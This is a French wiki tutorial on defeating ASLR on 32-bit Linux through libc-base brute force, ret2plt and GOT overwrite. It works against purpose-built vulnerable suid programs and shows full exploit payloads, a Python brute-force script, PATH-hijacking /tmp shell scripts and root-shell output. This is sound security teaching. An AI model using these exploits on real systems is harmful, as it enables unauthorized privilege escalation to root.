====== Bypasser ASLR ====== L'**ASLR** ou Address Space Layout Randomization, est une technique de protection contre les buffer overflows. Alors que l'attaque demande une grande précision, ASLR va réarranger aléatoirement l'espace d'adressage en affectant :\\ * la pile * le tas * les librairies rendant ainsi l'attaque encore plus difficile. Les attaques Ret2libc, l'injection de shellcode via les variables d'environnement et autres techniques déjà connues ne sont plus possibles à cause de l'ASLR. Mais les hackers ont toujours eu beaucoup d'imagination, et des techniques de contournement existent. Nous considérerons que le lecteur possède déjà les connaissances de base au sujet des stack based buffer overflows. Si ce n'est pas le cas, lire l[[failles_app:bof|'article sur les buffers overflows]] du wiki est recommandé. Pour ré-activer l'ASLR si nécessaire (par défaut activée), entrez la commande en tant que root : #echo 2 > /proc/sys/kernel/randomize_va_space __Environnement__:\\ GCC : gcc (Debian 4.9.2-10) 4.9.2 \\ GDB : GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 \\ OS : Debian Jessie \\ Tous les programmes présentés possèdent le bit ''suid'' //**NB**//: l'attaque Return Oriented Programming (ROP) ne sera pas présentée ici, puisqu'elle est expliquée dans l'article sur les buffer overflows du Wiki. ===== 1.Brute Force (aka Quick and dirty) ===== Nous commencerons pas l'attaque la moins « propre », mais sans doute aussi la moins difficile.\\ Le programme que nous allons utiliser est le suivant : #include #include #include void vuln(const char* name){ printf("Hello, who are you ?\n"); char buffer[42]; strcpy(buffer, name); printf("Nice to meet you %s ! And my name is JohnCena !!\n", buffer); } int main(int argc, char ** argv){ if (argc < 2){ printf("Need one arg plz\n"); return 1; } vuln(argv[1]); return 0; } En tapant la commande suivante, nous vérifions que l'exécutable généré possède le bit ''suid'': $ ls -alt bruteForce -rwsr-sr-x 1 root root 5196 févr. 17 17:07 bruteForce Le petit **s** à gauche dans les flags nous prouve que oui. Nous allons donc pouvoir élever nos privilèges. Avant de commencer l'attaque, vérifions que la randomisation est bien activée : $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75b5000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754c000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75c1000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a3000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7510000) $ ldd ./bruteForce | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf753d000) Nous voyons grâce aux adresses sur la droite que la randomisation semble n'affecter que 8 bits (la plupart du temps, à de rares exceptions près le troisième chiffre change), ce qui réduit grandement les possibilités : une attaque brute force semble donc raisonnable.\\ Comme adresse de base pour l'attaque nous allons donc choisir l'une d'entre elles, mettons la deuxième: ''0xf754c000''. Nous supposerons donc arbitrairement que le programme sera chargé à cette adresse. En relançant plusieurs fois de suite le programme, il y a des chances que nous tombions juste au moins une fois. Nous allons nous inspirer d'une ret2libc, et donc pour cela il nous faut trouver les offsets pour les fonctions ''system'' et ''exit'' : $ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep exit 111: 000315e0 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10 139: 000311b0 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 446: 00031620 276 FUNC GLOBAL DEFAULT 12 __cxa_thread_atexit_impl@@GLIBC_2.18 554: 000b730e 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0 609: 0011b580 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0 645: 000315b0 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10 868: 000313e0 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3 1037: 00125530 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0 1380: 001a9204 4 OBJECT GLOBAL DEFAULT 31 argp_err_exit_status@@GLIBC_2.1 1491: 000f8900 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0 2087: 001a9154 4 OBJECT GLOBAL DEFAULT 31 obstack_exit_failure@@GLIBC_2.0 2240: 000311e0 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0 2383: 000f9d30 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2 La fonction qui nous intéresse ici est ''exit@@GLIBC_2.0'', à la deuxième ligne. L'offset est donc ''**0x000311b0**''. Faisons de même pour ''system'': $ readelf -s /lib/i386-linux-gnu/i686/cmov/libc.so.6 | grep system 243: 001183d0 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0 620: 0003e3e0 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 Nous repérons cette fois-ci la routine ''system@@GLIBC_2.0'', et donc le second offset est ''**0x0003e3e0**''. Enfin, pour l'argument de la fonction ''system'', nous aimerions que ce soit la string « /bin/sh » . Elle est déjà sûrement mappée dans la libc, mais pour se faciliter la tâche nous allons choisir une string de substitution ayant une adresse fixe: $ readelf -x .rodata ./bruteForce Vidange hexadécimale de la section « .rodata » : 0x08048578 03000000 01000200 48656c6c 6f2c2077 ........Hello, w 0x08048588 686f2061 72652079 6f75203f 00000000 ho are you ?.... 0x08048598 4e696365 20746f20 6d656574 20796f75 Nice to meet you 0x080485a8 20257320 2120416e 64206d79 206e616d %s ! And my nam 0x080485b8 65206973 204a6f68 6e43656e 61202121 e is JohnCena !! 0x080485c8 0a004e65 6564206f 6e652061 72672070 ..Need one arg p 0x080485d8 6c7a00 lz. La string « lz » en ''0x080485d8'' est un choix judicieux puisqu'elle se termine par un ''null byte''. Il nous faut donc créer un exécutable nommé « lz » que nous placerons dans un répertoire où nous avons les droits d'exécution (''/tmp'' par exemple) : $ cat > /tmp/lz #!/bin/sh /bin/sh $ chmod +x /tmp/lz Ensuite, modifions la variable d'environnement afin d'y ajouter ''/tmp'' pour que notre script soit trouvé : $ export PATH='/tmp':$PATH La dernière étape avant le codage de l'exploit consiste à calculer la taille de la string « junk » pour remplir le buffer avant d'écraser l'adresse de retour. Pour cela, lançons GDB et observons : $ gdb ./bruteForce … (gdb) disas vuln Dump of assembler code for function vuln: ... 0x08048477 <+28>: lea -0x32(%ebp),%eax ... End of assembler dump. D'après la ligne <+28>, notre buffer est à 50 (''0x32'') bytes du pointeur de base. Si l'on ajoute 4 bytes pour écraser la sauvegarde de ''%ebp'', nous avons donc 54 bytes de « junk ». Maintenant que nous avons tous les éléments nécessaires, nous allons écrire un petit script Python afin d'automatiser tout ceci.\\ Tout d'abord, les imports et les variables : import struct import subprocess base = 0xf754c000 #adresse arbitraire de base choisie au début system_offset = 0x0003e3e0 #offset pour system exit_offset = 0x000311b0 #offset pour exit binsh = 0x080485d8 #adresse de "lz" Ensuite calculons les adresses d'après les offsets : system_addr = base + system_offset exit_addr = base + exit_offset Puis construisons la payload : payload = "A" * 54 payload += struct.pack(" Enfin, il ne reste qu'à coder la boucle infinie qui va lancer le programme jusqu'à tomber juste sur l'adresse prévue : while (1): result = subprocess.call(["./bruteForce", payload]) if not result: print "OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOK" exit(0) else: print "NOPE\n" print "End" A présent, nous pouvons lancer le script et attendre. Et finalement au bout de quelques essais : $ python exploit.py … Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! NOPE Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! NOPE Hello, who are you ? Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��X���W ! And my name is JohnCena !! # whoami root Boom ! //**NB**//: Parfois le programme va peut-être réagir étrangement, par exemple en imprimant les OKs sans garder le ''stdin'' ouvert, et parfois le ''stdin'' sera ouvert mais les commandes tapées ne donneront rien. Dans ce cas, la meilleure solution reste encore d'arrêter le script et de le relancer. ===== 2. Ret2PLT ===== Commençons par un peu de théorie (pas trop, promis), essentielle pour comprendre le fonctionnement de l'attaque. __Le problème :__\\ Les librairies partagées sont faites comme le nom l'indique pour être partagées entre plusieurs processus. Dès lors que le segment ''.text'' est partagé, il ne doit pas être accessible en écriture. De fait, le linker n'a pas la permission de modifier les symboles ou les adresses présentes dans la section ''.text''. La solution pour lui est alors d'utiliser PIC. __PIC (Position Independant Code) :__\\ Ce mécanisme permet d'assurer que le segment ''.text'' d'une librairie va pouvoir être partagé entre plusieurs processus tout en effectuant une « relocation » (je n'ai pas trouvé de traduction vraiment satisfaisante en français...). Le segment ''.text'' ne contient pas d'adresses et de symboles absolus, mais des références vers les valeurs placées une table (Global Offset Table ou **GOT**) située dans le segment ''.data'', ce dernier étant unique à chaque processus. Cette table est remplie par le linker et permet donc de faire l'indirection, tout en gardant le segment ''.text'' inchangé. La **GOT** étant à une position connue, les entrées qu'elle contient sont exprimées de manière relatives, par des offsets. __Procedure Linkage Table (PLT)__\\ Les deux notions précédentes sont nécessaires à la compréhension du fonctionnement de la **PLT**, qui sera au cœur de notre attaque. Cette table utilise une double indirection afin de retrouver une fonction de la libc. Chaque entrée dans la table n'est qu'un morceau de code (//stub//) permettant d'appeler la vraie fonction. De fait, lorsque l'instruction ''call'' dans ''.text'' est rencontrée, le //stub// (''func@plt'') associé à la fonction dans la **PLT** permet au linker de retrouver la vraie fonction. La résolution n'est faite que lors du premier appel, puisqu'une entrée est alors ajoutée dans la **GOT** et sera utilisée lors des appels futurs à ladite fonction.\\ Pour illustrer ceci de manière une peu plus concrète, prenons ce programme très original (nommé ''plt'') : #include #include int main(int argc, char ** argv){ printf("Hello world!\n"); return 0; } Avec l'aide de GDB, observons ce qu'il se passe lors de l'appel de ''puts'' (''printf''): $ gdb ./plt … (gdb) disas puts Dump of assembler code for function puts@plt: 0x080482d0 <+0>: jmp *0x80496bc 0x080482d6 <+6>: push $0x0 0x080482db <+11>: jmp 0x80482c0 End of assembler dump. (gdb) x/x 0x80496bc 0x80496bc : 0x080482d6 A la ligne <+0> nous voyons qu'un ''jump'' est effectué en ''0x80496bc''. En regardant ce qu'il se trouve à cette adresse, nous voyons ensuite qu'il sagit de ''puts@got.plt'', donc nous voyons bien ici l'utilisation de la **GOT** lors de l'appel d'une fonction externe. Cette fois-ci, nous n'allons pas tenter de retourner vers une fonction de la libc, mais nous allons utiliser la **PLT**. Cette table étant utilisée lors de l'appel de routines externes dont les adresses sont inconnues au moment du linkage, ces dernières sont donc dynamiquement trouvées pendant le run time, et non randomisées. Et là, si vous avez bien compris ce qui a été expliqué, vous vous demandez sûrement pourquoi nous avons parlé des librairies alors que nous voulons attaquer un simple exécutable ! En fait, même les exécutables non partagés entre plusieurs processus ont eux aussi besoin de telles tables. Par défaut, les segments ''.text'' n'ont pas la permission en écriture. Ainsi, comme pour les librairies partagées, les exécutables ont besoin de la **GOT** et de la **PLT** afin de permettre au linker de faire une relocation.\\ A présent, passons à l'attaque, et tentant de tirer profit du programme suivant : #include #include #include #include void vuln(const char *pCommand){ char command[10]; strncpy(command, "/bin/", 5); command[5] = '\0'; strcat(command, pCommand); printf("Command: %s\n", command); if (getuid() == 0){ system(command); } else{ if (!strcmp("/bin/date", command)){ system("/bin/date"); } else{ printf("Not allowed\n"); } } } int main(int argc, char **argv){ if (argc < 2){ printf("Usage: ./ret2plt \n"); exit(1); } vuln(argv[1]); return 0; } En tant qu'attaquant, nous savons que ''getuid'' ne renverra pas 0, et par conséquent nous ne sommes a priori autorisés qu'à exécuter la commande ''date'', avec un chemin absolu : $ ./ret2plt sh Command: /bin/sh Not allowed $ ./ret2plt date Command: /bin/date samedi 18 février 2017, 11:37:16 (UTC+0100) Oui, mais : $ ./ret2plt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Command: /bin/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Not allowed Erreur de segmentation Un overflow est donc possible grâce à ''strcat'', peu soucieuse de la nouvelle taille du buffer après concaténation !\\ ASLR nous empêchant de faire une classique ret2libc, nous allons essayer de trouver les adresses de ''exit@plt'' et ''system@plt'' (par pur hasard, les deux fonctions sont présentes dans le code …).\\ Avec l'aide de GDB, désassemblons la fonction ''vuln'' afin de trouver ces adresses: (gdb) disas vuln Dump of assembler code for function vuln: … 0x08048592 <+119>: call 0x80483e0 … End of assembler dump. (gdb) disas main Dump of assembler code for function main: … 0x080485db <+45>: call 0x8048400 … End of assembler dump. En plus de récupérer les adresses, nous pouvons déterminer quelle est la taille de l'écart entre le buffer et l'adresse de retour (break juste après l'appel de ''strcat'') : (gdb) break *0x08048541 Breakpoint 1 at 0x8048541 (gdb) run AAAA Starting program: /home/john/Documents/ret2plt AAAA Breakpoint 1, 0x0804853c in vuln () (gdb) x/16x $esp 0xffa39800:0xffa39816 0xffa3b641 0xf75cdbf8 0xf75f2243 0xffa39810:0x00000000 0x622f0000 0x412f6e69 0x00414141 0xffa39820:0xffa3b61b 0x0000002f 0xffa39848 0x080485f1 0xffa39830:0xffa3b641 0xffa398f4 0xffa39900 0xf75f23fd (gdb) x/x $ebp 0xffa39828: 0xffa39848 (gdb) x/x 0x080485f1 0x80485f1 : 0xb810c483 Nous voyons que ''%ebp'' est en ''0xffa39828'', et donc la valeur juste après (''0x080485f1'') est l'adresse de retour à écraser. D'après la position du dernier 41 (code ASCII de « A » en hexadécimal), nous déduisons qu'il faut 13 bytes supplémentaires (soit un total de 17 bytes) avant d'écraser l'adresse de retour.\\ Ensuite, il nous faut déterminer l'adresse de la commande passée en paramètre. Comme précédemment, nous allons choisir une string de substitution : $ readelf -x .rodata ./ret2plt Vidange hexadécimale de la section « .rodata » : 0x08048698 03000000 01000200 436f6d6d 616e643a ........Command: 0x080486a8 2025730a 002f6269 6e2f6461 7465004e %s../bin/date.N 0x080486b8 6f742061 6c6c6f77 65640055 73616765 ot allowed.Usage 0x080486c8 3a202e2f 72657432 706c7420 3c636d64 : ./ret2plt Nous choisissons pour l'exemple la string « te » (à la fin de « date »), à l'adresse ''0x080486b4''. $ cat > /tmp/te #!/bin/sh /bin/sh $ chmod +x /tmp/te $ export PATH='/tmp':$PATH Avant l'appel de la fonction ''system'' le haut de la pile doit être : < adresse system@plt > < adresse exit@plt > < adresse de «te» > donc nous construisons la payload comme ceci : 17 * A + \xe0\x83\x04\x08 + \x00\x84\x04\x08 + \xb4\x86\x04\x08 Essayons : $ ./ret2plt $(python -c "print 'A' * 17 + '\xe0\x83\x04\x08' + '\x00\x84\x04\x08' + '\xb4\x86\x04\x08'") Command: /bin/AAAAAAAAAAAAAAAAA�����# Not allowed Erreur de segmentation L'attaque ne semble pas fonctionner...\\ En effet, cela n'aura pas échapper à certains : l'adresse de ''exit'' contient un ''null byte'', et donc la string n'est pas copiée jusqu'au bout !\\ En fait, ça n'est pas très grave car l'appel de ''exit'' n'est pas nécessaire. En fait, son adresse sert simplement d'adresse de retour après l'appel de ''system'', afin que le programme se finisse proprement. Mais ici, nous allons nous en passer et ajouter une string « junk » de 4 caractères à la place : $ ./ret2plt $(python -c "print 'A' * 17 + '\xe0\x83\x04\x08' + 'AAAA' + '\xb4\x86\x04\x08'") Command: /bin/AAAAAAAAAAAAAAAAA��AAAA��# Not allowed # whoami root Enjoy your shell ! ===== 3. Corruption de la GOT ===== Pour cette troisième attaque, nous allons nous baser sur ce programme: #include #include #include #define SIZE 141 void displayTweets(int, char **); int main(int argc, char **argv){ if(argc == 1){ exit(0); } displayTweets(argc-1, argv); printf("Time: \n"); system("/bin/date"); return 0; } void displayTweets(int nbTweets, char ** strings){ char* tweetPtr = NULL; char tweet[SIZE]; tweetPtr = tweet; int i = 0; for (i = 0; i < nbTweets; i++){ strcpy(tweetPtr, strings[1+i]); printf("Tweet: %s at %p\n", tweetPtr, &tweetPtr); } } Comme la fonction ''system'' est présente dans le code, nous allons pouvoir corrompre la **GOT** afin de l'exécuter.\\ L'attaque va se dérouler ainsi, en 4 étapes-clefs : * overflower le buffer afin de faire pointer ''tweetPtr'' sur GOT[''printf''] * appeler ''printf'' * maintenant que ''tweetPtr'' pointe sur GOT[''printf''], overflower à nouveau pour corrompre l'entrée * appeler ''printf'', qui vaut maintenant ''system@plt''... Lançons l'ami GDB afin de trouver quelques adresses intéressantes : (gdb) disas displayTweets Dump of assembler code for function displayTweets: 0x0804851e <+0>: push %ebp 0x0804851f <+1>: mov %esp,%ebp 0x08048521 <+3>: sub $0xa8,%esp 0x08048527 <+9>: movl $0x0,-0x10(%ebp) 0x0804852e <+16>: lea -0x9d(%ebp),%eax 0x08048534 <+22>: mov %eax,-0x10(%ebp) 0x08048537 <+25>: movl $0x0,-0xc(%ebp) 0x0804853e <+32>: movl $0x0,-0xc(%ebp) 0x08048545 <+39>: jmp 0x8048587 0x08048547 <+41>: mov -0xc(%ebp),%eax 0x0804854a <+44>: add $0x1,%eax 0x0804854d <+47>: lea 0x0(,%eax,4),%edx 0x08048554 <+54>: mov 0xc(%ebp),%eax 0x08048557 <+57>: add %edx,%eax 0x08048559 <+59>: mov (%eax),%edx 0x0804855b <+61>: mov -0x10(%ebp),%eax 0x0804855e <+64>: sub $0x8,%esp 0x08048561 <+67>: push %edx 0x08048562 <+68>: push %eax 0x08048563 <+69>: call 0x8048360 0x08048568 <+74>: add $0x10,%esp 0x0804856b <+77>: mov -0x10(%ebp),%eax 0x0804856e <+80>: sub $0x4,%esp 0x08048571 <+83>: lea -0x10(%ebp),%edx 0x08048574 <+86>: push %edx 0x08048575 <+87>: push %eax 0x08048576 <+88>: push $0x8048641 0x0804857b <+93>: call 0x8048350 0x08048580 <+98>: add $0x10,%esp 0x08048583 <+101>: addl $0x1,-0xc(%ebp) 0x08048587 <+105>: mov -0xc(%ebp),%eax 0x0804858a <+108>: cmp 0x8(%ebp),%eax 0x0804858d <+111>: jl 0x8048547 0x0804858f <+113>: leave 0x08048590 <+114>: ret End of assembler dump. Les lignes <+16> , <+22> et <+61> nous prouvent qu'il y un écart de 141 bytes entre le buffer et le pointeur. En effet, en <+61>, nous voyons que le pointeur de situe en ''%ebp - 0x10''. Or aux lignes <+16> et <+22>, nous voyons que le valeur placée à cet endroit est égale à ''%ebp-0x9d''. Il y a donc bien un écart de ''0x9d - 0x10 = 0x8d'' entre le pointeur et le début du buffer.\\ Lors du premier tour de boucle, les 2 premières étapes-clefs vont être effectuées, puisque la valeur du pointeur va être modifiée afin de pointer sur GOT[''printf'']. Il faudra un tour supplémentaire pour effectuer les 2 dernières étapes clefs : écraser l'adresse de GOT[''printf''] par l'adresse de ''system@plt'' et appeler ''printf''. Nous devons donc soumettre 2 arguments.\\ A présent, cherchons les adresses de la méthode ''printf'' à l'aide de l'adresse trouvée en <+93>: (gdb) x/i 0x8048350 0x8048350 : jmp *0x8049868 (gdb) x/i 0x8049868 0x8049868 : push %esi Faisons de même avec ''system'', puisqu'elle possède une entrée associée dans la **PLT** : (gdb) disas main Dump of assembler code for function main: … 0x08048509 <+78>: call 0x8048380 … End of assembler dump. A présent, nous savons qu'il faut écrire 141 bytes de junk avant d'écraser ''tweetPtr'' avec l'adresse de GOT[''printf''], soit ''0x8049868''. Ensuite, lors du deuxième tour de boucle ''strcpy'' se chargera d'écrire l'adresse de ''system@plt'' (''0x8048380'') au nouvel endroit pointé par ''tweetPtr'' ! Pour le premier argument, nous avons donc: A * 141 + '\x68\x98\x04\x08' Et pour le second argument, nous mettrons uniquement l'adresse de ''system@plt''.\\ Relançons GDB en plaçant un breakpoint juste après ''strcpy'': (gdb) break *0x08048568 Breakpoint 1 at 0x8048568 (gdb) run $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Starting program: /home/john/Documents/corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Breakpoint 1, 0x08048568 in displayTweets () Nous savons que le pointeur est à ''%ebp - 0x10'' d'après le dump, donc: (gdb) x/x $ebp-0x10 0xfffcf708: 0x08049868 (gdb) x/x 0x08049868 0x08049868 : 0x08048356 (gdb) x/x 0x08048356 0x8048356 : 0x00000068 (gdb) continue Continuing. Tweet: P�d���h�v�������p�a� at 0xfffcf708 Breakpoint 1, 0x08048568 in displayTweets () Le programme a effectué un premier tour de boucle et est revenu au niveau du breakpoint. Analysons : (gdb) x/x $ebp-0x10 0xfffcf708: 0x08049868 (gdb) x/x 0x08049868 0x08049868 : 0x08048380 (gdb) x/x 0x08048380 0x8048380 : 0x987425ff Nous voyons à présent que GOT[''printf''] pointe maintenant vers ''system@plt'' ! Poursuivons l'exécution : (gdb) continue Continuing. sh: 1: Tweet:: not found Time: dimanche 19 février 2017, 09:33:19 (UTC+0100) [Inferior 1 (process 3427) exited normally] Nous voyons que la fonction ''system'' a tenté d'exécuter la commande « Tweet : » (n'oubliez pas la semi-colonne!), qui bien sûr n'existe pas. Comme auparavant, nous n'avons qu'à créer un script nommé « Tweet: » dans un dossier avec les droits d'écriture et modifier la variable PATH : $ cat > /tmp/Tweet: #/bin/sh /bin/sh $ chmod +x /tmp/Tweet: $ export PATH='/tmp':$PATH Puis relançons l'exécution sans GDB : $ ./corrupGot $(python -c "print 'A' * 141 + '\x68\x98\x04\x08'") $(python -c "print '\x80\x83\x04\x08'") Tweet: P�c���g�v�������py`� at 0xffecee88 # whoami root BOOM ! Ressources :\\ Ret2PLT: http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries \\ Ret2PLT: https://sploitfun.wordpress.com/2015/05/08/ \\ Corruption de la GOT : http://www.infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf